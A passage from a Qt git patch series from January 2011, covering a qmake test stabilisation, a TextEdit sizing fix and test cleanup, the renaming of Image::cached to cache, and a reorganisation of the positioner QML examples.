*contentSize) end = width(); else end = contentSize->width(); + int acc = 0; for (int i = 0; i < positionedItems.count(); ++i) { const PositionedItem &child = positionedItems.at(i); if (!child.item || !child.isVisible) continue; - hoffset = end - hoffsets[i] - QGraphicsItemPrivate::get(child.item)->width(); + hoffset = end - hoffsets[acc++] - QGraphicsItemPrivate::get(child.item)->width(); if(child.item->x() != hoffset) positionX(hoffset, child); } -- cgit v0.12 From 2f69ca58949ceaec5c2195af6e9edfa46c1c911d Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Tue, 18 Jan 2011 18:20:35 +0100 Subject: stabilize qmake autotest on a systems with small packet windows, QProcess::readAllStandardError() might return a part of the string and the existing code adds an endl to it a bit later, causing a test failure. (I don't care about the '\r'-s here because of QString shall eat them anyways) Merge-request: 2546 Reviewed-by: Oswald Buddenhagen --- tests/auto/qmake/testcompiler.cpp | 23 ++++++++--------------- 1 file changed, 8 insertions(+), 15 deletions(-) diff --git a/tests/auto/qmake/testcompiler.cpp b/tests/auto/qmake/testcompiler.cpp index 021fe9b..dbdeee8 100644 --- a/tests/auto/qmake/testcompiler.cpp +++ b/tests/auto/qmake/testcompiler.cpp @@ -142,23 +142,16 @@ bool TestCompiler::runCommand( QString cmdline ) bool failed = false; child.setReadChannel(QProcess::StandardError); - while (QProcess::Running == child.state()) { - if (child.waitForReadyRead(1000)) { - QString output = child.readAllStandardError(); - testOutput_.append(output); - - output.prepend('\n'); - if (output.contains("\nProject MESSAGE: FAILED")) - failed = true; - } - } - child.waitForFinished(-1); - return failed - ? false - : (child.exitStatus() == QProcess::NormalExit) - && (child.exitCode() == 0); + foreach (const QByteArray &output, child.readAllStandardError().split('\n')) { + testOutput_.append(QString::fromLocal8Bit(output)); + + if (output.startsWith("Project MESSAGE: FAILED")) + failed = true; + } + + return !failed && child.exitStatus() == QProcess::NormalExit && child.exitCode() == 0; } void TestCompiler::setBaseCommands( QString makeCmd, QString qmakeCmd ) -- cgit v0.12 From b481399c1c02a945e816f9385070883a0d795455 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 19 Jan 2011 11:25:22 +1000 Subject: TextEdit implicit size varied depending upon wrapMode. We failed to reset textWidth before calculating the ideal width of the text. Task-number: QTBUG-16710 Reviewed-by: Michael Brasser --- src/declarative/graphicsitems/qdeclarativetextedit.cpp | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 42f66c3..cb62a2c 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -1365,8 +1365,12 @@ void QDeclarativeTextEdit::updateSize() int dy = height(); // ### assumes that if the width is set, the text will fill to edges // ### (unless wrap is false, then clipping will occur) - if (widthValid() && d->document->textWidth() != width()) - d->document->setTextWidth(width()); + if (widthValid()) { + if (d->document->textWidth() != width()) + d->document->setTextWidth(width()); + } else { + d->document->setTextWidth(-1); + } dy -= (int)d->document->size().height(); int nyoff; -- cgit v0.12 From 5d9738ed88da269033333299c16558882d346514 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 19 Jan 2011 11:27:48 +1000 Subject: Cleanup created views in TextEdit tests. Reviewed-by: Michael Brasser --- .../qdeclarativetextedit/tst_qdeclarativetextedit.cpp | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp index 615b919..ba1a95f 100644 --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp @@ -373,6 +373,8 @@ void tst_qdeclarativetextedit::alignments() QImage expect(expectfile); QCOMPARE(actual,expect); + + delete canvas; } @@ -745,6 +747,8 @@ void tst_qdeclarativetextedit::mouseSelection() QVERIFY(str.length() > 3); // don't reallly care *what* was selected (and it's too sensitive to platform) else QVERIFY(str.isEmpty()); + + delete canvas; } void tst_qdeclarativetextedit::inputMethodHints() @@ -759,6 +763,8 @@ void tst_qdeclarativetextedit::inputMethodHints() QVERIFY(textEditObject->inputMethodHints() & Qt::ImhNoPredictiveText); textEditObject->setInputMethodHints(Qt::ImhUppercaseOnly); QVERIFY(textEditObject->inputMethodHints() & Qt::ImhUppercaseOnly); + + delete canvas; } void tst_qdeclarativetextedit::cursorDelegate() @@ -785,6 +791,8 @@ void tst_qdeclarativetextedit::cursorDelegate() //Test Delegate gets deleted textEditObject->setCursorDelegate(0); QVERIFY(!textEditObject->findChild("cursorInstance")); + + delete view; } void tst_qdeclarativetextedit::delegateLoading_data() @@ -867,6 +875,8 @@ void tst_qdeclarativetextedit::navigation() QVERIFY(input->hasActiveFocus() == false); simulateKey(canvas, Qt::Key_Left); QVERIFY(input->hasActiveFocus() == true); + + delete canvas; } void tst_qdeclarativetextedit::copyAndPaste() { @@ -941,6 +951,8 @@ void tst_qdeclarativetextedit::readOnly() simulateKey(canvas, Qt::Key_Space); simulateKey(canvas, Qt::Key_Escape); QCOMPARE(edit->text(), initial); + + delete canvas; } void tst_qdeclarativetextedit::simulateKey(QDeclarativeView *view, int key) -- cgit v0.12 From 5ddfe819e93462eff396c24d10c0446c4cd9b0ac Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 18 Jan 2011 10:40:26 +1000 Subject: Rename Image::cached to 'cached' (and QDeclarativePixmap::Cached also) This is to keep consistent property naming consistent. E.g. Image has 'smooth', 'mirror' properties rather than 'smoothed', 'mirrored'. For consistency QDeclarativePixmap::Cached was renamed as well. Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativeborderimage.cpp | 8 ++++---- src/declarative/graphicsitems/qdeclarativeimage.cpp | 6 +++--- src/declarative/graphicsitems/qdeclarativeimagebase.cpp | 16 ++++++++-------- src/declarative/graphicsitems/qdeclarativeimagebase_p.h | 8 ++++---- .../graphicsitems/qdeclarativeimagebase_p_p.h | 4 ++-- src/declarative/util/qdeclarativepixmapcache.cpp | 8 ++++---- src/declarative/util/qdeclarativepixmapcache_p.h | 2 +- .../qdeclarativeimage/tst_qdeclarativeimage.cpp | 14 +++++++------- 8 files changed, 33 insertions(+), 33 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index 49ee357..3832813 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -313,8 +313,8 @@ void QDeclarativeBorderImage::load() QDeclarativePixmap::Options options; if (d->async) options |= QDeclarativePixmap::Asynchronous; - if (d->cached) - options |= QDeclarativePixmap::Cached; + if (d->cache) + options |= QDeclarativePixmap::Cache; d->pix.load(qmlEngine(this), d->url, options); if (d->pix.isLoading()) { @@ -442,8 +442,8 @@ void QDeclarativeBorderImage::setGridScaledImage(const QDeclarativeGridScaledIma QDeclarativePixmap::Options options; if (d->async) options |= QDeclarativePixmap::Asynchronous; - if (d->cached) - options |= QDeclarativePixmap::Cached; + if (d->cache) + options |= QDeclarativePixmap::Cache; d->pix.load(qmlEngine(this), d->sciurl, options); if (d->pix.isLoading()) { diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp index 71a4f0c..2c9bde5 100644 --- a/src/declarative/graphicsitems/qdeclarativeimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp @@ -459,11 +459,11 @@ QRectF QDeclarativeImage::boundingRect() const */ /*! - \qmlproperty bool Image::cached + \qmlproperty bool Image::cache \since Quick 1.1 - Specifies that the image should be cached. The default value is - true. Setting \a cached to false is useful when dealing with large images, + Specifies whether the image should be cached. The default value is + true. Setting \a cache to false is useful when dealing with large images, to make sure that they aren't cached at the expense of small 'ui element' images. */ diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp index b99ed4b..7ce357b 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp @@ -128,20 +128,20 @@ QSize QDeclarativeImageBase::sourceSize() const return QSize(width != -1 ? width : implicitWidth(), height != -1 ? height : implicitHeight()); } -bool QDeclarativeImageBase::cached() const +bool QDeclarativeImageBase::cache() const { Q_D(const QDeclarativeImageBase); - return d->cached; + return d->cache; } -void QDeclarativeImageBase::setCached(bool cached) +void QDeclarativeImageBase::setCache(bool cache) { Q_D(QDeclarativeImageBase); - if (d->cached == cached) + if (d->cache == cache) return; - d->cached = cached; - emit cachedChanged(); + d->cache = cache; + emit cacheChanged(); if (isComponentComplete()) load(); } @@ -184,8 +184,8 @@ void QDeclarativeImageBase::load() QDeclarativePixmap::Options options; if (d->async) options |= QDeclarativePixmap::Asynchronous; - if (d->cached) - options |= QDeclarativePixmap::Cached; + if (d->cache) + options |= QDeclarativePixmap::Cache; d->pix.load(qmlEngine(this), d->url, d->explicitSourceSize ? sourceSize() : QSize(), options); if (d->pix.isLoading()) { diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h index ad2e370..4d2aa04 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h @@ -58,7 +58,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeItem Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged) Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged) Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged) - Q_PROPERTY(bool cached READ cached WRITE setCached NOTIFY cachedChanged) // ### VERSIONING: Only in QtQuick 1.1 + Q_PROPERTY(bool cache READ cache WRITE setCache NOTIFY cacheChanged) // ### VERSIONING: Only in QtQuick 1.1 Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize NOTIFY sourceSizeChanged) Q_PROPERTY(bool mirror READ mirror WRITE setMirror NOTIFY mirrorChanged) // ### VERSIONING: Only in QtQuick 1.1 @@ -74,8 +74,8 @@ public: bool asynchronous() const; void setAsynchronous(bool); - bool cached() const; - void setCached(bool); + bool cache() const; + void setCache(bool); virtual void setSourceSize(const QSize&); QSize sourceSize() const; @@ -89,7 +89,7 @@ Q_SIGNALS: void statusChanged(QDeclarativeImageBase::Status); void progressChanged(qreal progress); void asynchronousChanged(); - void cachedChanged(); + void cacheChanged(); void mirrorChanged(); protected: diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h index 475e7cd..39cf44e 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h @@ -71,7 +71,7 @@ public: progress(0.0), explicitSourceSize(false), async(false), - cached(true), + cache(true), mirror(false) { QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents; @@ -84,7 +84,7 @@ public: QSize sourcesize; bool explicitSourceSize : 1; bool async : 1; - bool cached : 1; + bool cache : 1; bool mirror: 1; }; diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index aef24c6..5190eab 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -959,7 +959,7 @@ QRect QDeclarativePixmap::rect() const void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url) { - load(engine, url, QSize(), QDeclarativePixmap::Cached); + load(engine, url, QSize(), QDeclarativePixmap::Cache); } void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, QDeclarativePixmap::Options options) @@ -969,7 +969,7 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, QDecl void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &size) { - load(engine, url, size, QDeclarativePixmap::Cached); + load(engine, url, size, QDeclarativePixmap::Cache); } void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, QDeclarativePixmap::Options options) @@ -994,7 +994,7 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const bool ok = false; d = createPixmapDataSync(engine, url, requestSize, &ok); if (ok) { - if (options & QDeclarativePixmap::Cached) + if (options & QDeclarativePixmap::Cache) d->addToCache(); return; } @@ -1008,7 +1008,7 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QDeclarativePixmapReader *reader = QDeclarativePixmapReader::instance(engine); d = new QDeclarativePixmapData(url, requestSize); - if (options & QDeclarativePixmap::Cached) + if (options & QDeclarativePixmap::Cache) d->addToCache(); d->reply = reader->getImage(d); diff --git a/src/declarative/util/qdeclarativepixmapcache_p.h b/src/declarative/util/qdeclarativepixmapcache_p.h index b16f1bf..1cf76dd 100644 --- a/src/declarative/util/qdeclarativepixmapcache_p.h +++ b/src/declarative/util/qdeclarativepixmapcache_p.h @@ -68,7 +68,7 @@ public: enum Option { Asynchronous = 0x00000001, - Cached = 0x00000002 + Cache = 0x00000002 }; Q_DECLARE_FLAGS(Options, Option) diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp index 7bb629e..c277eb7 100644 --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp @@ -126,7 +126,7 @@ void tst_qdeclarativeimage::imageSource_data() QTest::addColumn("height"); QTest::addColumn("remote"); QTest::addColumn("async"); - QTest::addColumn("cached"); + QTest::addColumn("cache"); QTest::addColumn("error"); QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << true << ""; @@ -151,7 +151,7 @@ void tst_qdeclarativeimage::imageSource() QFETCH(double, height); QFETCH(bool, remote); QFETCH(bool, async); - QFETCH(bool, cached); + QFETCH(bool, cache); QFETCH(QString, error); TestHTTPServer server(SERVER_PORT); @@ -165,8 +165,8 @@ void tst_qdeclarativeimage::imageSource() QTest::ignoreMessage(QtWarningMsg, error.toUtf8()); QString componentStr = "import QtQuick 1.0\nImage { source: \"" + source + "\"; asynchronous: " - + (async ? QLatin1String("true") : QLatin1String("false")) + "; cached: " - + (cached ? QLatin1String("true") : QLatin1String("false")) + " }"; + + (async ? QLatin1String("true") : QLatin1String("false")) + "; cache: " + + (cache ? QLatin1String("true") : QLatin1String("false")) + " }"; QDeclarativeComponent component(&engine); component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); QDeclarativeImage *obj = qobject_cast(component.create()); @@ -177,10 +177,10 @@ void tst_qdeclarativeimage::imageSource() else QVERIFY(obj->asynchronous() == false); - if (cached) - QVERIFY(obj->cached() == true); + if (cache) + QVERIFY(obj->cache() == true); else - QVERIFY(obj->cached() == false); + QVERIFY(obj->cache() == false); if (remote || async) QTRY_VERIFY(obj->status() == QDeclarativeImage::Loading); -- cgit v0.12 From eaacbac00bbd65cc6b12de9db4556dd2bdd18a5c Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Wed, 19 Jan 2011 15:44:28 +1000 Subject: Update demos following renaming of Image::cached --- demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml index e0c1363..bfc8756 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml @@ -88,11 +88,11 @@ Package { } BusyIndicator { anchors.centerIn: parent; on: originalImage.status != Image.Ready } Image { - id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content); cached: false + id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content); cache: false fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height } Image { - id: hqImage; smooth: true; source: ""; visible: false; cached: false + id: hqImage; smooth: true; source: ""; visible: false; cache: false fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height } Binding { -- cgit v0.12 From eead12e91799c766dd3913687156a37f245ee20e Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Tue, 18 Jan 2011 15:35:55 +1000 Subject: Add a layout direction example to positioners Task-number: Reviewed-by: Alan Alpert --- doc/src/declarative/examples.qdoc | 3 +- doc/src/examples/qml-examples.qdoc | 18 +- .../qml-positioners-layoutdirection-example.png | Bin 0 -> 13019 bytes examples/declarative/positioners/Button.qml | 78 ------- examples/declarative/positioners/add.png | Bin 810 -> 0 bytes .../positioners/addandremove/Button.qml | 78 +++++++ .../declarative/positioners/addandremove/add.png | Bin 0 -> 810 bytes .../positioners/addandremove/addandremove.qml | 253 +++++++++++++++++++++ .../addandremove/addandremove.qmlproject | 18 ++ .../declarative/positioners/addandremove/del.png | Bin 0 -> 488 bytes examples/declarative/positioners/del.png | Bin 488 -> 0 bytes .../layoutdirection/layoutdirection.qml | 151 ++++++++++++ .../layoutdirection/layoutdirection.qmlproject | 18 ++ examples/declarative/positioners/positioners.qml | 253 --------------------- .../declarative/positioners/positioners.qmlproject | 18 -- .../graphicsitems/qdeclarativepositioners.cpp | 23 +- 16 files changed, 546 insertions(+), 365 deletions(-) create mode 100644 doc/src/images/qml-positioners-layoutdirection-example.png delete mode 100644 examples/declarative/positioners/Button.qml delete mode 100644 examples/declarative/positioners/add.png create mode 100644 examples/declarative/positioners/addandremove/Button.qml create mode 100644 examples/declarative/positioners/addandremove/add.png create mode 100644 examples/declarative/positioners/addandremove/addandremove.qml create mode 100644 examples/declarative/positioners/addandremove/addandremove.qmlproject create mode 100644 examples/declarative/positioners/addandremove/del.png delete mode 100644 examples/declarative/positioners/del.png create mode 100644 examples/declarative/positioners/layoutdirection/layoutdirection.qml create mode 100644 examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject delete mode 100644 examples/declarative/positioners/positioners.qml delete mode 100644 examples/declarative/positioners/positioners.qmlproject diff --git a/doc/src/declarative/examples.qdoc b/doc/src/declarative/examples.qdoc index e03557b..be2d0c7 100644 --- a/doc/src/declarative/examples.qdoc +++ b/doc/src/declarative/examples.qdoc @@ -136,7 +136,8 @@ The examples can be found in Qt's \c examples/declarative directory. \section2 Positioners \list -\o \l{declarative/positioners}{Example} +\o \l{declarative/positioners/addandremove}{Adding and Removing Items} +\o \l{declarative/positioners/layoutdirection}{Layout Direction} \endlist \section2 Key Interaction diff --git a/doc/src/examples/qml-examples.qdoc b/doc/src/examples/qml-examples.qdoc index 46af110..2dc45e3 100644 --- a/doc/src/examples/qml-examples.qdoc +++ b/doc/src/examples/qml-examples.qdoc @@ -270,16 +270,26 @@ */ /*! - \title Positioners Example - \example declarative/positioners + \title Positioners: Adding and Removing Items Example + \example declarative/positioners/addandremove - This example shows how to use positioner elements such as \l Row, \l Column, - \l Grid and \l Flow. + This example shows how to use the positioner elements such as \l Row, \l Column, + \l Grid and \l Flow, in particular how to add and remove items with appropriate transitions. \image qml-positioners-example.png */ /*! + \title Positioners: Layout Direction Example + \example declarative/positioners/layoutdirection + + This example shows how to control the horizontal layout direction of + \l Row, \l Grid and \l Flow positioners. + + \image qml-positioners-layoutdirection-example.png +*/ + +/*! \title Key Interaction: Focus Example \example declarative/keyinteraction/focus diff --git a/doc/src/images/qml-positioners-layoutdirection-example.png b/doc/src/images/qml-positioners-layoutdirection-example.png new file mode 100644 index 0000000..2c42b09 Binary files /dev/null and b/doc/src/images/qml-positioners-layoutdirection-example.png differ diff --git a/examples/declarative/positioners/Button.qml b/examples/declarative/positioners/Button.qml deleted file mode 100644 index 25907c0..0000000 --- a/examples/declarative/positioners/Button.qml +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: page - - property string text - property string icon - signal clicked - - border.color: "black"; color: "steelblue"; radius: 5 - width: pix.width + textelement.width + 13 - height: pix.height + 10 - - Image { id: pix; x: 5; y:5; source: parent.icon } - - Text { - id: textelement - text: page.text; color: "white" - x: pix.width + pix.x + 3 - anchors.verticalCenter: pix.verticalCenter - } - - MouseArea { - id: mr - anchors.fill: parent - onClicked: { parent.focus = true; page.clicked() } - } - - states: State { - name: "pressed"; when: mr.pressed - PropertyChanges { target: textelement; x: 5 } - PropertyChanges { target: pix; x: textelement.x + textelement.width + 3 } - } - - transitions: Transition { - NumberAnimation { properties: "x,left"; easing.type: Easing.InOutQuad; duration: 200 } - } -} diff --git a/examples/declarative/positioners/add.png b/examples/declarative/positioners/add.png deleted file mode 100644 index 1ee4542..0000000 Binary files a/examples/declarative/positioners/add.png and /dev/null differ diff --git a/examples/declarative/positioners/addandremove/Button.qml b/examples/declarative/positioners/addandremove/Button.qml new file mode 100644 index 0000000..25907c0 --- /dev/null +++ b/examples/declarative/positioners/addandremove/Button.qml @@ -0,0 +1,78 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the examples of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 1.0 + +Rectangle { + id: page + + property string text + property string icon + signal clicked + + border.color: "black"; color: "steelblue"; radius: 5 + width: pix.width + textelement.width + 13 + height: pix.height + 10 + + Image { id: pix; x: 5; y:5; source: parent.icon } + + Text { + id: textelement + text: page.text; color: "white" + x: pix.width + pix.x + 3 + anchors.verticalCenter: pix.verticalCenter + } + + MouseArea { + id: mr + anchors.fill: parent + onClicked: { parent.focus = true; page.clicked() } + } + + states: State { + name: "pressed"; when: mr.pressed + PropertyChanges { target: textelement; x: 5 } + PropertyChanges { target: pix; x: textelement.x + textelement.width + 3 } + } + + transitions: Transition { + NumberAnimation { properties: "x,left"; easing.type: Easing.InOutQuad; duration: 200 } + } +} diff --git a/examples/declarative/positioners/addandremove/add.png b/examples/declarative/positioners/addandremove/add.png new file mode 100644 index 0000000..1ee4542 Binary files /dev/null and b/examples/declarative/positioners/addandremove/add.png differ diff --git a/examples/declarative/positioners/addandremove/addandremove.qml b/examples/declarative/positioners/addandremove/addandremove.qml new file mode 100644 index 0000000..7d6d8fe --- /dev/null +++ b/examples/declarative/positioners/addandremove/addandremove.qml @@ -0,0 +1,253 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the examples of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 1.0 + +Rectangle { + id: page + width: 420; height: 420 + + Column { + id: layout1 + y: 0 + move: Transition { + NumberAnimation { properties: "y"; easing.type: Easing.OutBounce } + } + add: Transition { + NumberAnimation { properties: "y"; easing.type: Easing.OutQuad } + } + + Rectangle { color: "red"; width: 100; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueV1 + width: 100; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "green"; width: 100; height: 50; border.color: "black"; radius: 15 } + + Rectangle { + id: blueV2 + width: 100; height: 50 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "orange"; width: 100; height: 50; border.color: "black"; radius: 15 } + } + + Row { + id: layout2 + y: 300 + move: Transition { + NumberAnimation { properties: "x"; easing.type: Easing.OutBounce } + } + add: Transition { + NumberAnimation { properties: "x"; easing.type: Easing.OutQuad } + } + + Rectangle { color: "red"; width: 50; height: 100; border.color: "black"; radius: 15 } + + Rectangle { + id: blueH1 + width: 50; height: 100 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "green"; width: 50; height: 100; border.color: "black"; radius: 15 } + + Rectangle { + id: blueH2 + width: 50; height: 100 + color: "lightsteelblue" + border.color: "black" + radius: 15 + Behavior on opacity { NumberAnimation {} } + } + + Rectangle { color: "orange"; width: 